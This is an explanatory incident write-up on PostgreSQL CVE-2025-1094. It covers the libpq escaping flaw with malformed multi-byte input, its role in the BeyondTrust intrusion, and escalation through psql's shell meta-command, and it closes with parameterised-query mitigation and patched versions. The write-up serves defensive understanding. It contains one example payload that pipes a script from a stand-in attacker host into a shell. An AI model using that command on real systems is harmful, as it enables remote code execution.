flawopen.com/Incidents/PostgreSQL CVE-2025-1094
Imagine a translator whose job is to wrap anything you say in quotation marks so it can never be mistaken for a command. You discover that if you hand them a word in an alphabet they don't recognise, they get confused mid-sentence and drop one of the quotation marks. Now the thing you said escapes its quotes and gets read as an instruction — even though the translator was working exactly as designed for every input anyone had thought to test.
In December 2024, attackers compromised BeyondTrust's Remote Support SaaS product. BeyondTrust is a privileged access management vendor, so its remote support tooling sits in an unusually powerful position inside customer environments. The intrusion reached a number of downstream enterprise customers, and among the affected organisations was the US Department of the Treasury, where attackers accessed employee workstations and unclassified documents. Treasury attributed the activity to a China state-sponsored actor.
The initially disclosed flaw was CVE-2024-12356, a command injection issue in BeyondTrust Remote Support and Privileged Remote Access. But when Rapid7's research team reconstructed a working exploit, they found something notable: CVE-2024-12356 was not sufficient on its own. Reaching remote code execution also required exploiting a previously unknown flaw in PostgreSQL itself — assigned CVE-2025-1094 and patched in February 2025.
PostgreSQL's client library, libpq, provides quoting functions — PQescapeLiteral(), PQescapeIdentifier(), PQescapeString() and PQescapeStringConn() — whose entire purpose is to make untrusted input safe to interpolate into SQL. The flaw was in how these functions handled invalid byte sequences in multi-byte encodings such as UTF-8.
When the escaping routine encountered a malformed multi-byte character, it mis-measured where that character ended. An attacker could craft input where an invalid leading byte "swallowed" the backslash or quote that the escaper had just emitted to neutralise the following character — leaving a quote character live in the output. The value then broke out of its string literal and the remainder was parsed as SQL.
This is what makes the bug unusual and worth studying. The application code was doing the recommended thing. It called the official escaping function. The defence that every SQL injection guide tells you to use was itself the vulnerable component.
The second half of the chain is specific to psql, PostgreSQL's interactive terminal client. psql interprets lines beginning with a backslash as meta-commands that it executes locally rather than sending to the database server. One of them, \!, runs an arbitrary shell command.
So when untrusted input is fed through psql and the attacker can inject a newline followed by a meta-command, the impact escalates past the database entirely:
# Injected payload contains a newline # followed by a psql meta-command. # psql interprets it locally: \! /bin/sh -c 'curl attacker/x | sh' # This never reaches the SQL parser. # It runs as a shell command on the # host running psql.
# Never build SQL by escaping strings. # Send values out-of-band as parameters, # so no quoting decision is ever made. PQexecParams(conn, "SELECT * FROM users WHERE name = $1", 1, NULL, values, NULL, NULL, 0); # And never pipe untrusted input # through the psql CLI at all.
It means they are ordinary software with ordinary bugs, and that relying on them puts a correctness burden in a place where a single mistake is exploitable. Parameterised queries avoid the burden entirely, which is why they remain the primary recommendation.
Most ORMs and modern drivers use the extended query protocol with bound parameters rather than libpq's escaping helpers, which sidesteps the flaw. The exposure was concentrated in code that explicitly called the escape functions or shelled out to psql. Patching the client library is still the correct action.
PostgreSQL 17.3, 16.7, 15.11, 14.16 and 13.19, released on 13 February 2025.